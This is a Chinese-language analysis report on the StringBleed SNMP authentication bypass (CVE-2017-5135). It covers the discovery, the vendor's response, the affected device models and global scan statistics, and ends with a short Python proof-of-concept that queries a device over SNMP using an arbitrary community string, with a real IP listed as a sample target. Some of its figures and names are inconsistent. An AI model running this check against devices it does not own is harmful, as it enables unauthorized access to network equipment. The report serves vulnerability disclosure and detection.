stringbleed 事件分析报告

夭寿啦!stringbleed公关啦!

0x01. 事件概述


在2016年12月,Ezequiel Fernandez 和Bertin Berviszai在一次FUZZ测试中发现了SNMP(简单网络管理协议)的v1和v2版本协议存在授权认证和访问控制绕过漏洞,至少有78种型号的网络接入和IoT设备受此漏洞影响,攻击者可以利用该漏洞远程获得相关设备的读写权限,进而控制设备。这一漏洞被发现者命名为Stringbleed,受影响的设备产品类型涉及路由器、VoIP网关、IoT设备和其他拨号网关等。


官方的CVE和NVD漏洞库对此漏洞分配的编号为CVE-2017-5135。在这个漏洞的帮助下,可以利用任意字符串或整数值来绕过SNMP的访问控制,以及完成某些特定设备中SNMP代理所要求的身份验证,甚至获取到目标设备完整的远程读写(read/write)权限。除此之外,可以在MIB(管理信息库)中写入任意字符串,在无需猜测community string的情况下轻而易举地从目标设备中获取到类似用户密码这样的敏感信息。


这个漏洞修复并不简单,因为目前有多家厂商的各种型号设备都受到了该问题的影响,而随着扫描时间的延续,受影响设备的名单也在不断增加。


0x02. 漏洞分析


漏洞的起始源于一次扫描测试,在此次扫描测试中,通过模拟“snmpget”请求来获取一系列信息,其中包括 sysDescr OID。按照snmp协议的规定,假定所测试的字符串值(例如admin或root)正好与SNMP代理所保存的身份验证值相同,那么就可以成功获取到sysDescr OID信息了,整个过程与暴力破解攻击十分相似。在经过了几天的扫描测试之后,发现了一个非常奇怪的现象:无论发送的是什么值,有些设备/指纹总是会返回响应信息。
在这里先简单提及一下SNMP协议,SNMP是基于TCP/IP协议族的网络管理标准,是一种在IP网络中管理网络节点(如服务器、工作站、路由器、交换机等)的标准协议。在SNMP v1 和SNMP v2中对于用户身份验证使用了Community String。


按照SNMP版本1&2认证只能接受存储在SNMP代理认证中的值,但是有意思的事情是,在这次事件中,扫描结果与协议规定结果相违背。


此漏洞不仅可以使用任意字符串或整数用来通过SNMP代理验证,更严重的情况下是可以通过这个漏洞获取目标设备的完整读写权限。


这个漏洞也可以视作SNMP协议中存在的远程代码执行漏洞,CVE给予的漏洞类型为不正确的访问控制。有趣的事情来了,漏洞发现人员为了验证他们的发现需要选择一台设备来进行测试。经过分析之后,发现该漏洞的团队决定选择思科DPC3928SL,而这款设备也是受此问题影响最为严重的设备型号之一。但思科方面表示,公司已经停止对这款型号的网关设备提供技术服务支持了,并推荐了Technicolor路由器,于是作者便开始对Technicolor路由器进行深入分析。在进行了一系列测试之后,将相应的安全问题并进行了上报,但思科给出的回应是一个漏洞发现者所不能接受的解决方案。

![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage1.png)
![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage2.png)
正如你所看到的那样,Technicolor安全团队解释称,这个问题是一个由网络服务提供商(ISP)所导致的“控制配置错误问题”,而错误并不在Technicolor身上。对于安全从业人员来说,这样苍白无力的解释很明显是没有任何说服力的,但Bertin他们并不打算因此而终止他们分析,通过实验证明,还有很多不同品牌和不同型号的设备同样会受到这个SNMP协议漏洞的影响,而这也从侧面证实了Technicolor的想法是错误的。

接下来,Bertin团队使用一个随机生成的哈希值进行扫描,然后将其发送给网络上所有能扫描到的SNMP设备,而实验的结果也着实出乎了所有人的意料,居然检测到了150多种受到StringBleed影响的设备,而且这些设备都是不同的。

事实证明,Technicolor的观点是错误的,这个问题不是网络服务提供商的错误配置所造成的,而在实现协议的过程中代码的不严谨造成的。


0x03. 受影响情况分析


根据扫描测试结果发现,受影响厂商和相关设备或77种以上。受影响的设备型号如下:

Zoom Telephonics, IncBCW700J

NET&SYSMNG6200

BN-MuxBCW710J

NET&SYSMNG6300

BN-MuxBCW710J2

NET&SYSSB5100

BN-MuxC3000-100NAS

MotorolaSB5101

NetgearCBV734EW

MotorolaSB5102

CastlenetCBV38Z4EC

MotorolaSBG6580

CastleNetCBV38Z4ECNIT

MotorolaSBG900

CastleNetCBW383G4J

MotorolaSBG901

CastleNetCBW38G4J

MotorolaSBG941

CastleNetCBW700N

MotorolaSVG1202

TEKNOTELCG2001-AN22ACG2001

MotorolaSVG2501

UDBNACG2001

MotorolaT60C926

UN2NACG2002

AmbitTC7110.AR

UN2NACG2200

TechnicolorTC7110.B

UN2NACGD24G-100NAS

TechnicolorTC7110.D

NetgearCGD24G-1CHNAS

TechnicolorTC7200.d1I

NetgearCM5100

TechnicolorTC7200.TH2v2

NetgearCM5100-511

TechnicolorTHG540

NetgearCM-6300n

ThomsonTHG541

ComtrendDCX-3200

ThomsonTj715x

ArrisDDW2600

TerayonTM501A

UbeeDDW2602

ArrisTM502B

UbeeDG950A

ArrisTM601A

ArrisDPC2100

ArrisTM601B

CiscoDPC2320

ArrisTM602A

CiscoDPC2420

ArrisTM602B

CiscoDPC3928SL

ArrisTM602G

CiscoDVW2108

ArrisTWG850-4U

UbeeDVW2110

ThomsonTWG870

UbeeDVW2117

ThomsonTWG870U

UbeeDWG849

ThomsonU10C019

ThomsonDWG850-4

UbeeU10C037

ThomsonDWG855

UbeeVM1700D

ThomsonEPC2203

KaonmediaWTM552G

CiscoEPC3212

ArrisWTM652G

CiscoIB-8120

ArrisDCM-704

W21IB-8120

D-LinkDCM-604

W21E1MNG2120J

D-LinkDG950S

NET&SYSMNG6200

 


需要注意的的事情是按照目前已经探测出来的型号发现全球受影响的数量总数为583760台,占目前全球数量17%以上, 在我们的不完全统计中得出下图
![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage3.png)

全球共3,250,837台设备探测到SNMP服务,全球分布情况如下:

![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage4.png)

全球确认的snmp服务器数量最多的国家Top10:

排名

国家

受影响设备数量

所占百分比

1

巴西

51,573

40.88%

2

法国

42,398

33.61%

3

德国

7,988

6.33%

4

美国

7,505

5.94%

5

荷兰

1,883

1.49%

6

中国

1,451

1.15%

7

英国

1,071

0.84%

8

俄罗斯联邦

754

0.60%

9

西班牙

668

0.53%

10

以色列

651

0.52%

全球分布snmp最广泛的组织:

![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage5.png)

snmp设备使用的操作系统统计:

![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage6.png)

0x04. 时间线


  • 2016年12月,Ezequiel Fernandez & Bertin Bervis 发现漏洞
  • 2017年4月4日,Ezequiel Fernandez & Bertin Bervis 公布漏洞
  • 2017年 4 月20日 昊天实验室(ht-sec)编写并测试了stringbleed POC

0x05. 漏洞验证与修复


漏洞验证:
![](http://ok4k2016u.bkt.clouddn.com/stringbleedpage7.png)

poc:

# coding:utf-8
import netsnmp
import re
class POC:
    def __init__(self):
        self.url = ''
        self.pocInfo = {
            'author': 'ht-sec',
            'vulnDate': '2017-04-27',
            'createDate': '2017-04-27',
            'vulnLevel': 'hight',
            'reference': ['https://stringbleed.github.io/#'],
            'pocName': 'CVE-2017-5135_StringBleed',
            'appName': 'SNMP',
            'appVersion': 'v1 v2',
            'appLink': '',
            'desc': """
                    可以使用任意字符串或整数来完成某些特定设备中SNMP代理所要求的身份验证,
                    甚至可以利用任意字符串或整数值来获取到目标设备完整的远程读写权限。
                    """,
            'samples': ['http://148.246.130.190:116']
        }
    def verify(self):
        try:
            if "//" in self.url:
                tmp = re.findall("://(.*)",self.url)
            if "//" not in self.url:
                tmp = self.url.split(":")
            if ":" in tmp[0]:
                tmp = tmp[0].split(":")
            self.oid = netsnmp.Varbind(".1.3.6.1.2.1.1.1")
            self.version = 1
            self.destHost = tmp[0]
            self.community = "qwertyuiop"
            result = netsnmp.snmpwalk(self.oid,
                                      Version=self.version,
                                      DestHost=self.destHost,
                                      Community=self.community
                                      )
            if result:
                return True
            if not result:
                return False
        except Exception, error:
            return False

修复建议:

  • 目前没有比较好的修复方案出现,请持续关注此漏洞或持续关注昊天实验室的最新情报

0x06 相关资料


[1] https://stringbleed.github.io/

[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5135

[3] https://www.reddit.com/r/netsec/comments/67qt6u/cve_20175135_snmp_authentication_bypass/